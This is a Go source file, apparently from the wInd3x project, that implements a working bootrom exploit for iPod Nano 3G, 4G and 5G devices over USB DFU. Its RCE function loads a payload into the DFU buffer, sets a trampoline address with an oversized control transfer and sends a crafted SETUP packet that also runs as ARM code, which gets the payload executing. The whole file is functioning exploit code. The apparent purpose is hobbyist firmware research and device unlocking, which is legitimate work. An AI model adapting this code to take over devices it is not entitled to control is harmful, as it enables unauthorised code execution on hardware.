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exploit.go
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exploit.go
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package exploit
import (
"bytes"
"fmt"
"time"
"github.com/freemyipod/wInd3x/pkg/devices"
"github.com/freemyipod/wInd3x/pkg/dfu"
"github.com/freemyipod/wInd3x/pkg/uasm"
"github.com/google/gousb"
)
type Parameters interface {
// Address of the DFU data buffer.
DFUBufAddr() uint32
// Address at which payload begins execution, within the DFU data buffer,
// as jumped into by the SetupPacket.
ExecAddr() uint32
// Address of the USB DMA buffer, ie. the SETUP packet currently being
// processed.
USBBufAddr() uint32
// Address of trampoline in bootrom, jumped to by handler.
TrampolineAddr() uint16
// Setup packet to be sent. This must also be valid ARM code, as it happens
// to be executed.
SetupPacket() []byte
HandlerFooter(addr uint32) []uasm.Statement
AESCall() []uasm.Statement
HaxedDFUPayload() []uasm.Statement
DisableICache() []uasm.Statement
NANDInit(bank uint32) ([]uasm.Statement, error)
NANDReadPage(bank, page, offset uint32) ([]uasm.Statement, uint32)
NORInit(spino uint32) ([]uasm.Statement, error)
NORRead(spino uint32, offset uint32) ([]uasm.Statement, uint32)
}
func ldrOrMov(r uasm.Register, val uint32) uasm.Statement {
// This could probably be higher, but I've had some issues with this.
// TODO: verify against ARM spec.
if val >= 1<<8 {
return uasm.Ldr{Dest: r, Src: uasm.Constant(val)}
}
return uasm.Mov{Dest: r, Src: uasm.Immediate(val)}
}
func makeCall(addr uint32, params ...uint32) []uasm.Statement {
var stackParams []uint32
if len(params) > 4 {
stackParams = params[4:]
}
var res []uasm.Statement
if len(params) > 4 {
// Make space on stack.
stackFrame := len(stackParams) * 4
res = append(res,
uasm.Sub{Dest: uasm.SP, Src: uasm.SP, Compl: uasm.Immediate(stackFrame)},
)
// Set stack params.
for i := len(stackParams) - 1; i >= 0; i-- {
offs := 4 * uint16(i)
res = append(res,
ldrOrMov(uasm.R0, stackParams[i]),
uasm.Str{Src: uasm.R0, Dest: uasm.Deref(uasm.SP, offs)},
)
}
}
// Set register params.
for i := 0; i < 4; i++ {
if i >= len(params) {
break
}
res = append(res,
ldrOrMov(uasm.Register(i), params[i]),
)
}
// Perform call.
res = append(res,
uasm.Ldr{Dest: uasm.LR, Src: uasm.Constant(addr)},
uasm.Blx{Dest: uasm.LR},
)
if len(params) > 4 {
// Clean up stack.
stackFrame := len(stackParams) * 4
res = append(res,
uasm.Add{Dest: uasm.SP, Src: uasm.SP, Compl: uasm.Immediate(stackFrame)},
)
}
return res
}
var ParametersForKind = map[devices.Kind]Parameters{
devices.Nano3: &epNano3G{},
devices.Nano4: newEPNano4G(),
devices.Nano5: newEPNano5G(),
}
func RCE(usb *gousb.Device, ep Parameters, payload, data []byte) ([]byte, error) {
usb.ControlTimeout = time.Millisecond * 50
prefixLen := int(ep.ExecAddr() - ep.DFUBufAddr())
if len(data) > prefixLen {
return nil, fmt.Errorf("data too long")
}
pad := bytes.Repeat([]byte{'Z'}, prefixLen-len(data))
data = append(data, pad...)
payload = append(data, payload...)
// Upload payload into DFU buffer, and reset status afterwards.
if len(payload) > 0x400 {
return nil, fmt.Errorf("payload too large (%d > %d)", len(payload), 0x400)
}
if err := dfu.SendChunk(usb, payload, 0); err != nil {
return nil, fmt.Errorf("Upload: %w", err)
}
if err := dfu.Clean(usb); err != nil {
return nil, fmt.Errorf("clean: %w", err)
}
buf := make([]byte, 0x40)
if _, err := usb.Control(0xa1, uint8(dfu.RequestUpload), 0, 0, buf); err != nil {
return nil, fmt.Errorf("first upload failed: %v", err)
}
if ep.TrampolineAddr() != 0 {
// Start a download of X+0x40 bytes, this will only send 0x40 bytes
// (for some reason large control transfers don't work?), causing a state
// structure field to be set to X.
// X = TrampolineAddr, which is 0x3b0 for Nano 4G and 0x37c for Nano 5G
l := ep.TrampolineAddr() + 0x40
buf = make([]byte, l)
_, err := usb.Control(0xa1, uint8(dfu.RequestUpload), 0, 0, buf)
if want, got := gousb.ErrorTimeout, err; want != got {
return nil, fmt.Errorf("upload trigger should have returned %v, got %v", want, got)
}
}
// Trigger bug. This should get the payload executing.
setup := ep.SetupPacket()
bmRequestType := setup[0]
bRequest := setup[1]
wValue := uint16(setup[2]) | (uint16(setup[3]) << 8)
wIndex := uint16(setup[4]) | (uint16(setup[5]) << 8)
res := make([]byte, 0x40)
_, err := usb.Control(bmRequestType, bRequest, wValue, wIndex, res)
if err != nil {
return nil, fmt.Errorf("bug trigger: %w", err)
}
return res, nil
}